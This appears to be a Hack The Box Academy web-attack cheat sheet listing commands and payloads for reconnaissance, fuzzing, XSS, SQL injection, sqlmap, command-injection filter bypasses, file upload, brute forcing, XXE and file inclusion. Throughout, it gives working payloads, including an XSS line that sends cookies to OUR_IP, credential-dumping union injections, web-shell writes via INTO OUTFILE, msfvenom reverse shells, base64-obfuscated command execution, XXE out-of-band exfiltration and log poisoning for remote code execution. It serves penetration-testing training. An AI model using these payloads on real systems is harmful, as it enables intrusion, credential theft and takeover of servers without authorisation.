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WEB REQUESTS

cURL

Command Description
 curl -h cURL help menu
 curl inlanefreight.com Basic GET request
 curl -s -O inlanefreight.com/index.html Download file
 curl -k https://inlanefreight.com Skip HTTPS (SSL) certificate validation
 curl inlanefreight.com -v Print full HTTP request/response details
 curl -I https://www.inlanefreight.com Send HEAD request (only prints response headers)
 curl -i https://www.inlanefreight.com Print response headers and response body
 curl https://www.inlanefreight.com -A 'Mozilla/5.0' Set User-Agent header
 curl -u admin:admin http://<SERVER_IP>:<PORT>/ Set HTTP basic authorization credentials
 curl http://admin:admin@<SERVER_IP>:<PORT>/ Pass HTTP basic authorization credentials in the URL
 curl -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://<SERVER_IP>:<PORT>/ Set request header
 curl 'http://<SERVER_IP>:<PORT>/search.php?search=le' Pass GET parameters
 curl -X POST -d 'username=admin&password=admin' http://<SERVER_IP>:<PORT>/ Send POST request with POST data
 curl -b 'PHPSESSID=c1nsa6op7vtk7kdis7bcnbadf1' http://<SERVER_IP>:<PORT>/ Set request cookies
 curl -X POST -d '{"search":"london"}' -H 'Content-Type: application/json' http://<SERVER_IP>:<PORT>/search.php Send POST request with JSON data

APIs

Command Description
 curl http://<SERVER_IP>:<PORT>/api.php/city/london Read entry
 curl -s http://<SERVER_IP>:<PORT>/api.php/city/ | jq Read all entries
 curl -X POST http://<SERVER_IP>:<PORT>/api.php/city/ -d '{"city_name":"HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json' Create (add) entry
 curl -X PUT http://<SERVER_IP>:<PORT>/api.php/city/london -d '{"city_name":"New_HTB_City", "country_name":"HTB"}' -H 'Content-Type: application/json' Update (modify) entry
 curl -X DELETE http://<SERVER_IP>:<PORT>/api.php/city/New_HTB_City Delete entry

Browser DevTools

Shortcut Description
 [CTRL+SHIFT+I] or [F12] Show devtools
 [CTRL+SHIFT+E] Show Network tab
 [CTRL+SHIFT+K] Show Console tab

USING WEB PROXIES

Burp Shortcuts

Shortcut Description
[CTRL+R] Send to repeater
[CTRL+SHIFT+R] Go to repeater
[CTRL+I] Send to intruder
[CTRL+SHIFT+B] Go to intruder
[CTRL+U] URL encode
[CTRL+SHIFT+U] URL decode

ZAP Shortcuts

Shortcut Description
[CTRL+B] Toggle intercept on/off
[CTRL+R] Go to replacer
[CTRL+E] Go to encode/decode/hash

Firefox Shortcuts

Shortcut Description
[CTRL+SHIFT+R] Force Refresh Page

INFORMATION GATHERING - WEB EDITION

WHOIS

Command Description
export TARGET="domain.tld" Assign target to an environment variable.
whois $TARGET WHOIS lookup for the target.

DNS Enumeration

Command Description
nslookup $TARGET Identify the A record for the target domain.
nslookup -query=A $TARGET Identify the A record for the target domain.
dig $TARGET @<nameserver/IP> Identify the A record for the target domain.
dig a $TARGET @<nameserver/IP> Identify the A record for the target domain.
nslookup -query=PTR <IP> Identify the PTR record for the target IP address.
dig -x <IP> @<nameserver/IP> Identify the PTR record for the target IP address.
nslookup -query=ANY $TARGET Identify ANY records for the target domain.
dig any $TARGET @<nameserver/IP> Identify ANY records for the target domain.
nslookup -query=TXT $TARGET Identify the TXT records for the target domain.
dig txt $TARGET @<nameserver/IP> Identify the TXT records for the target domain.
nslookup -query=MX $TARGET Identify the MX records for the target domain.
dig mx $TARGET @<nameserver/IP> Identify the MX records for the target domain.

Passive Subdomain Enumeration

Resource/Command Description
VirusTotal https://www.virustotal.com/gui/home/url
Censys https://censys.io/
Crt.sh https://crt.sh/
curl -s https://sonar.omnisint.io/subdomains/{domain} | jq -r '.[]' | sort -u All subdomains for a given domain.
curl -s https://sonar.omnisint.io/tlds/{domain} | jq -r '.[]' | sort -u All TLDs found for a given domain.
curl -s https://sonar.omnisint.io/all/{domain} | jq -r '.[]' | sort -u All results across all TLDs for a given domain.
curl -s https://sonar.omnisint.io/reverse/{ip} | jq -r '.[]' | sort -u Reverse DNS lookup on IP address.
curl -s https://sonar.omnisint.io/reverse/{ip}/{mask} | jq -r '.[]' | sort -u Reverse DNS lookup of a CIDR range.
curl -s "https://crt.sh/?q=${TARGET}&output=json" | jq -r '.[] | "\(.name_value)\n\(.common_name)"' | sort -u Certificate Transparency.
cat sources.txt | while read source; do theHarvester -d "${TARGET}" -b $source -f "${source}-${TARGET}";done Searching for subdomains and other information on the sources provided in the source.txt list.

Sources.txt

baidu
bufferoverun
crtsh
hackertarget
otx
projecdiscovery
rapiddns
sublist3r
threatcrowd
trello
urlscan
vhost
virustotal
zoomeye

Passive Infrastructure Identification

Resource/Command Description
Netcraft https://www.netcraft.com/
WayBackMachine http://web.archive.org/
WayBackURLs https://github.com/tomnomnom/waybackurls
waybackurls -dates https://$TARGET > waybackurls.txt Crawling URLs from a domain with the date it was obtained.

Active Infrastructure Identification

Resource/Command Description
curl -I "http://${TARGET}" Display HTTP headers of the target webserver.
whatweb -a https://www.facebook.com -v Technology identification.
Wappalyzer https://www.wappalyzer.com/
wafw00f -v https://$TARGET WAF Fingerprinting.
Aquatone https://github.com/michenriksen/aquatone
cat subdomain.list | aquatone -out ./aquatone -screenshot-timeout 1000 Makes screenshots of all subdomains in the subdomain.list.

Active Subdomain Enumeration

Resource/Command Description
HackerTarget https://hackertarget.com/zone-transfer/
SecLists https://github.com/danielmiessler/SecLists
nslookup -type=any -query=AXFR $TARGET nameserver.target.domain Zone Transfer using Nslookup against the target domain and its nameserver.
gobuster dns -q -r "${NS}" -d "${TARGET}" -w "${WORDLIST}" -p ./patterns.txt -o "gobuster_${TARGET}.txt" Bruteforcing subdomains.

Virtual Hosts

Resource/Command Description
curl -s http://192.168.10.10 -H "Host: randomtarget.com" Changing the HOST HTTP header to request a specific domain.
cat ./vhosts.list | while read vhost;do echo "\n********\nFUZZING: ${vhost}\n********";curl -s -I http://<IP address> -H "HOST: ${vhost}.target.domain" | grep "Content-Length: ";done Bruteforcing for possible virtual hosts on the target domain.
ffuf -w ./vhosts -u http://<IP address> -H "HOST: FUZZ.target.domain" -fs 612 Bruteforcing for possible virtual hosts on the target domain using ffuf.

Crawling

Resource/Command Description
ZAP https://www.zaproxy.org/
ffuf -recursion -recursion-depth 1 -u http://192.168.10.10/FUZZ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt Discovering files and folders that cannot be spotted by browsing the website.
ffuf -w ./folders.txt:FOLDERS,./wordlist.txt:WORDLIST,./extensions.txt:EXTENSIONS -u http://www.target.domain/FOLDERS/WORDLISTEXTENSIONS Mutated bruteforcing against the target web server.

ATTACKING WEB APPLICATIONS WITH FFUF

Ffuf

Command Description
ffuf -h ffuf help
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ Directory Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/indexFUZZ Extension Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/blog/FUZZ.php Page Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ -recursion -recursion-depth 1 -e .php -v Recursive Fuzzing
ffuf -w wordlist.txt:FUZZ -u https://FUZZ.hackthebox.eu/ Sub-domain Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://academy.htb:PORT/ -H 'Host: FUZZ.academy.htb' -fs xxx VHost Fuzzing
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php?FUZZ=key -fs xxx Parameter Fuzzing - GET
ffuf -w wordlist.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'FUZZ=key' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx Parameter Fuzzing - POST
ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs xxx Value Fuzzing

Wordlists

Command Description
/opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt Directory/Page Wordlist
/opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt Extensions Wordlist
/opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt Domain Wordlist
/opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt Parameters Wordlist

Misc

Command Description
sudo sh -c 'echo "SERVER_IP academy.htb" >> /etc/hosts' Add DNS entry
for i in $(seq 1 1000); do echo $i >> ids.txt; done Create Sequence Wordlist
curl http://admin.academy.htb:PORT/admin/admin.php -X POST -d 'id=key' -H 'Content-Type: application/x-www-form-urlencoded' curl w/ POST

JAVASCRIPT DEOBFUSCATION

Commands

Command Description
curl http:/SERVER_IP:PORT/ cURL GET request
curl -s http:/SERVER_IP:PORT/ -X POST cURL POST request
curl -s http:/SERVER_IP:PORT/ -X POST -d "param1=sample" cURL POST request with data
echo hackthebox | base64 base64 encode
echo ENCODED_B64 | base64 -d base64 decode
echo hackthebox | xxd -p hex encode
echo ENCODED_HEX | xxd -p -r hex decode
echo hackthebox | tr 'A-Za-z' 'N-ZA-Mn-za-m' rot13 encode
echo ENCODED_ROT13 | tr 'A-Za-z' 'N-ZA-Mn-za-m' rot13 decode

Deobfuscation Websites

Website
JS Console
Prettier
Beautifier
JSNice

Misc

Command Description
ctrl+u Show HTML source code in Firefox

CROSS-SITE SCRIPTING (XSS)

Commands

Code Description
XSS Payloads
<script>alert(window.origin)</script> Basic XSS Payload
<plaintext> Basic XSS Payload
<script>print()</script> Basic XSS Payload
<img src="" onerror=alert(window.origin)> HTML-based XSS Payload
<script>document.body.style.background = "#141d2b"</script> Change Background Color
<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script> Change Background Image
<script>document.title = 'HackTheBox Academy'</script> Change Website Title
<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script> Overwrite website's main body
<script>document.getElementById('urlform').remove();</script> Remove certain HTML element
<script src="http://OUR_IP/script.js"></script> Load remote script
<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script> Send Cookie details to us
Commands
python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test" Run xsstrike on a url parameter
sudo nc -lvnp 80 Start netcat listener
sudo php -S 0.0.0.0:80 Start PHP server

SQL INJECTION FUNDAMENTALS

MySQL

Command Description
General
mysql -u root -h docker.hackthebox.eu -P 3306 -p login to mysql database
SHOW DATABASES List available databases
USE users Switch to database
Tables
CREATE TABLE logins (id INT, ...) Add a new table
SHOW TABLES List available tables in current database
DESCRIBE logins Show table properties and columns
INSERT INTO table_name VALUES (value_1,..) Add values to table
INSERT INTO table_name(column2, ...) VALUES (column2_value, ..) Add values to specific columns in a table
UPDATE table_name SET column1=newvalue1, ... WHERE <condition> Update table values
Columns
SELECT * FROM table_name Show all columns in a table
SELECT column1, column2 FROM table_name Show specific columns in a table
DROP TABLE logins Delete a table
ALTER TABLE logins ADD newColumn INT Add new column
ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn Rename column
ALTER TABLE logins MODIFY oldColumn DATE Change column datatype
ALTER TABLE logins DROP oldColumn Delete column
Output
SELECT * FROM logins ORDER BY column_1 Sort by column
SELECT * FROM logins ORDER BY column_1 DESC Sort by column in descending order
SELECT * FROM logins ORDER BY column_1 DESC, id ASC Sort by two-columns
SELECT * FROM logins LIMIT 2 Only show first two results
SELECT * FROM logins LIMIT 1, 2 Only show first two results starting from index 2
SELECT * FROM table_name WHERE <condition> List results that meet a condition
SELECT * FROM logins WHERE username LIKE 'admin%' List results where the name is similar to a given string

MySQL Operator Precedence

  • Division (/), Multiplication (*), and Modulus (%)
  • Addition (+) and Subtraction (-)
  • Comparison (=, >, <, <=, >=, !=, LIKE)
  • NOT (!)
  • AND (&&)
  • OR (||)

SQL Injection

Payload Description
Auth Bypass
admin' or '1'='1 Basic Auth Bypass
admin')-- - Basic Auth Bypass With comments
Auth Bypass Payloads
Union Injection
' order by 1-- - Detect number of columns using order by
cn' UNION select 1,2,3-- - Detect number of columns using Union injection
cn' UNION select 1,@@version,3,4-- - Basic Union injection
UNION select username, 2, 3, 4 from passwords-- - Union injection for 4 columns
DB Enumeration
SELECT @@version Fingerprint MySQL with query output
SELECT SLEEP(5) Fingerprint MySQL with no output
cn' UNION select 1,database(),2,3-- - Current database name
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - List all databases
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- - List all tables in a specific database
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- - List all columns in a specific table
cn' UNION select 1, username, password, 4 from dev.credentials-- - Dump data from a table in another database
Privileges
cn' UNION SELECT 1, user(), 3, 4-- - Find current user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- - Find if user has admin privileges
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- - Find if all user privileges
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- - Find which directories can be accessed through MySQL
File Injection
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- - Read local file
select 'file written successfully!' into outfile '/var/www/html/proof.txt' Write a string to a local file
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- - Write a web shell into the base web directory

SQLMAP ESSENTIALS

Command Description
sqlmap -h View the basic help menu
sqlmap -hh View the advanced help menu
sqlmap -u "http://www.example.com/vuln.php?id=1" --batch Run SQLMap without asking for user input
sqlmap 'http://www.example.com/' --data 'uid=1&name=test' SQLMap with POST request
sqlmap 'http://www.example.com/' --data 'uid=1*&name=test' POST request specifying an injection point with an asterisk
sqlmap -r req.txt Passing an HTTP request file to SQLMap
sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' Specifying a cookie header
sqlmap -u www.target.com --data='id=1' --method PUT Specifying a PUT request
sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt Store traffic to an output file
sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch Specify verbosity level
sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -" Specifying a prefix or suffix
sqlmap -u www.example.com/?id=1 -v 3 --level=5 Specifying the level and risk
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba Basic DB enumeration
sqlmap -u "http://www.example.com/?id=1" --tables -D testdb Table enumeration
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname Table/row enumeration
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'" Conditional enumeration
sqlmap -u "http://www.example.com/?id=1" --schema Database schema enumeration
sqlmap -u "http://www.example.com/?id=1" --search -T user Searching for data
sqlmap -u "http://www.example.com/?id=1" --passwords --batch Password enumeration and cracking
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token" Anti-CSRF token bypass
sqlmap --list-tampers List all tamper scripts
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba Check for DBA privileges
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd" Reading a local file
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" Writing a file
sqlmap -u "http://www.example.com/?id=1" --os-shell Spawning an OS shell

Injection Operators

Injection Operator Injection Character URL-Encoded Character Executed Command
Semicolon ; %3b Both
New Line \n %0a Both
Background & %26 Both (second output generally shown first)
Pipe | %7c Both (only second output is shown)
AND && %26%26 Both (only if first succeeds)
OR || %7c%7c Second (only if first fails)
Sub-Shell `` %60%60 Both (Linux-only)
Sub-Shell $() %24%28%29 Both (Linux-only)

COMMAND INJECTIONS

Linux

Filtered Character Bypass

Code Description
printenv Can be used to view all environment variables
Spaces
%09 Using tabs instead of spaces
${IFS} Will be replaced with a space and a tab. Cannot be used in sub-shells (i.e. $())
{ls,-la} Commas will be replaced with spaces
Other Characters
${PATH:0:1} Will be replaced with /
${LS_COLORS:10:1} Will be replaced with ;
$(tr '!-}' '"-~'<<<[) Shift character by one ([ -> \)

Blacklisted Command Bypass

Code Description
Character Insertion
' or " Total must be even
$@ or \ Linux only
Case Manipulation
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") Execute command regardless of cases
$(a="WhOaMi";printf %s "${a,,}") Another variation of the technique
Reversed Commands
echo 'whoami' | rev Reverse a string
$(rev<<<'imaohw') Execute reversed command
Encoded Commands
echo -n 'cat /etc/passwd | grep 33' | base64 Encode a string with base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) Execute b64 encoded string

Windows

Filtered Character Bypass

Code Description
Get-ChildItem Env: Can be used to view all environment variables - (PowerShell)
Spaces
%09 Using tabs instead of spaces
%PROGRAMFILES:~10,-5% Will be replaced with a space - (CMD)
$env:PROGRAMFILES[10] Will be replaced with a space - (PowerShell)
Other Characters
%HOMEPATH:~0,-17% Will be replaced with \ - (CMD)
$env:HOMEPATH[0] Will be replaced with \ - (PowerShell)

Blacklisted Command Bypass

Code Description
Character Insertion
' or " Total must be even
^ Windows only (CMD)
Case Manipulation
WhoAmi Simply send the character with odd cases
Reversed Commands
"whoami"[-1..-20] -join '' Reverse a string
iex "$('imaohw'[-1..-20] -join '')" Execute reversed command
Encoded Commands
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami')) Encode a string with base64
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))" Execute b64 encoded string

FILE UPLOAD ATTACKS

Web Shells

Web Shell Description
<?php file_get_contents('/etc/passwd'); ?> Basic PHP File Read
<?php system('hostname'); ?> Basic PHP Command Execution
<?php system($_REQUEST['cmd']); ?> Basic PHP Web Shell
<% eval request('cmd') %> Basic ASP Web Shell
msfvenom -p php/reverse_php LHOST=OUR_IP LPORT=OUR_PORT -f raw > reverse.php Generate PHP reverse shell
PHP Web Shell PHP Web Shell
PHP Reverse Shell PHP Reverse Shell
Web/Reverse Shells List of Web Shells and Reverse Shells

Bypasses

Command Description
Client-Side Bypass
[CTRL+SHIFT+C] Toggle Page Insepctor
Blacklist Bypass
shell.phtml Uncommon Extension
shell.pHp Case Manipulation
PHP Extensions List of PHP Extensions
ASP Extensions List of ASP Extensions
Web Extensions List of Web Extensions
Whitelist Bypass
shell.jpg.php Double Extension
shell.php.jpg Reverse Double Extension
%20, %0a, %00, %0d0a, /, .\, ., Character Injection - Before/After Extension
Content/Type Bypass
Web Content-Types List of Web Content-Types
Content-Types List of All Content-Types
File Signatures List of File Signatures/Magic Bytes

Limited Uploads

Potential Attack File Types
XSS HTML, JS, SVG, GIF
XXE/SSRF XML, SVG, PDF, PPT, DOC
DoS ZIP, JPG, PNG

LOGIN BRUTE FORCING

Hydra

Command Description
hydra -h hydra help
hydra -C wordlist.txt SERVER_IP -s PORT http-get / Basic Auth Brute Force - Combined Wordlist
hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get / Basic Auth Brute Force - User/Pass Wordlists
hydra -l admin -P wordlist.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:F=<form name='login'" Login Form Brute Force - Static User, Pass Wordlist
hydra -L bill.txt -P william.txt -u -f ssh://SERVER_IP:PORT -t 4 SSH Brute Force - User/Pass Wordlists
hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1 FTP Brute Force - Static User, Pass Wordlist

Wordlists

Command Description
/opt/useful/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt Default Passwords Wordlist
/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt Common Passwords Wordlist
/opt/useful/SecLists/Usernames/Names/names.txt Common Names Wordlist

Misc

Command Description
cupp -i Creating Custom Password Wordlist
sed -ri '/^.{,7}$/d' william.txt Remove Passwords Shorter Than 8
sed -ri '/[!-/:-@\[-`\{-~]+/!d' william.txt Remove Passwords With No Special Chars
sed -ri '/[0-9]+/!d' william.txt Remove Passwords With No Numbers
./username-anarchy Bill Gates > bill.txt Generate Usernames List
ssh b.gates@SERVER_IP -p PORT SSH to Server
ftp 127.0.0.1 FTP to Server
su - user Switch to User

BROKEN AUTHENTICATION

Fuzz

Command Description
wfuzz -z file,/path/to/wordlist.txt -u http://127.0.0.1:80/site/FUZZ Fuzz using a wordlist
wfuzz -z file,/path/to/user.txt -z file,/path/to/pass.txt http://127.0.0.1/login.php -d "user=FUZZ&pass=FUZ2Z" Fuzz using POST method and two wordlists
wfuzz -H Foo:FUZZ Fuzz header
-X GET , -X POST Choose method

Grep

Command Description
grep '[[:classname:]]' file.txt Find strings that contain a given class. Classes are: [[:graph:]], [[:lower:]], [[:print:]], [[:punct:]], [[:space:]], [[:upper:]], and [[:xdigit:]]
grep -x '.\{123\}' Find strings with length of 123

Misc

Command Description
echo -n academy | xxd -p Convert hex to ASCII
echo -n 61636164656d79 | xxd -r -p Convert ASCII to hex

Resource

Site name Description
CyberChef https://gchq.github.io/CyberChef
Decodify https://github.com/s0md3v/Decodify

WEB ATTACKS

HTTP Verb Tampering

HTTP Method

  • HEAD
  • PUT
  • DELETE
  • OPTIONS
  • PATCH
Command Description
-X OPTIONS Set HTTP Method with Curl

IDOR

Identify IDORS

  • In URL parameters & APIs
  • In AJAX Calls
  • By understanding reference hashing/encoding
  • By comparing user roles
Command Description
md5sum MD5 hash a string
base64 Base64 encode a string

XXE

Code Description
<!ENTITY xxe SYSTEM "http://localhost/email.dtd"> Define External Entity to a URL
<!ENTITY xxe SYSTEM "file:///etc/passwd"> Define External Entity to a file path
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php"> Read PHP source code with base64 encode filter
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>"> Reading a file through a PHP error
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>"> Reading a file OOB exfiltration

FILE INCLUSION

Local File Inclusion

Command Description
 Basic LFI
 /index.php?language=/etc/passwd Basic LFI
 /index.php?language=../../../../etc/passwd LFI with path traversal
 /index.php?language=/../../../etc/passwd LFI with name prefix
 /index.php?language=./languages/../../../../etc/passwd LFI with approved path
 LFI Bypasses
 /index.php?language=....//....//....//....//etc/passwd Bypass basic path traversal filter
 /index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 Bypass filters with URL encoding
 /index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times] Bypass appended extension with path truncation (obsolete)
 /index.php?language=../../../../etc/passwd%00 Bypass appended extension with null byte (obsolete)
 /index.php?language=php://filter/read=convert.base64-encode/resource=config Read PHP with base64 filter

Remote Code Execution

Command Description
 PHP Wrappers
 /index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id RCE with data wrapper
 curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" RCE with input wrapper
 curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" RCE with expect wrapper
 RFI
 echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT> Host web shell
 /index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id Include remote PHP web shell
 LFI + Upload
 echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif Create malicious image
 /index.php?language=./profile_images/shell.gif&cmd=id RCE with malicious uploaded image
 echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php Create malicious zip archive 'as jpg'
 /index.php?language=zip://shell.zip%23shell.php&cmd=id RCE with malicious uploaded zip
 php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg Create malicious phar 'as jpg'
 /index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id RCE with malicious uploaded phar
 Log Poisoning
 /index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd Read PHP session parameters
 /index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E Poison PHP session with web shell
 /index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id RCE through poisoned PHP session
 curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>' Poison server log
 /index.php?language=/var/log/apache2/access.log&cmd=id RCE through poisoned PHP session

Misc

Command Description
 ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287 Fuzz page parameters
 ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287 Fuzz LFI payloads
 ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 Fuzz webroot path
 ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287 Fuzz server configurations
 LFI Wordlists
LFI-Jhaddix.txt
Webroot path wordlist for Linux
Webroot path wordlist for Windows
Server configurations wordlist for Linux
Server configurations wordlist for Windows

File Inclusion Functions

Function Read Content Execute Remote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

HACKING WORDPRESS

Command Description
tree -L 1 Lists contents of current directory
curl -s -X GET <url> Makes a GET request to a webserver and receives HTML source code of requested web page
curl -I -X GET <url> Prints the response header of the GET request from the requested web page
curl -X POST -d <data> <url> Sends a POST request with data to specific webserver
wpscan --url <url> -e ap Scans specific WordPress application to enumerate plugins
wpscan --url <url> -e u Scans specific WordPress application to enumerate users
msfconsole Starts Metasploit Framework
html2text Converts redirected HTML output or files to easily readable output
grep <pattern> Filters specific pattern in files or redirected output
jq Transforms JSON input and streams of JSON entities
man <tool> Man provides you with the manpage of the specific tool

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Packages

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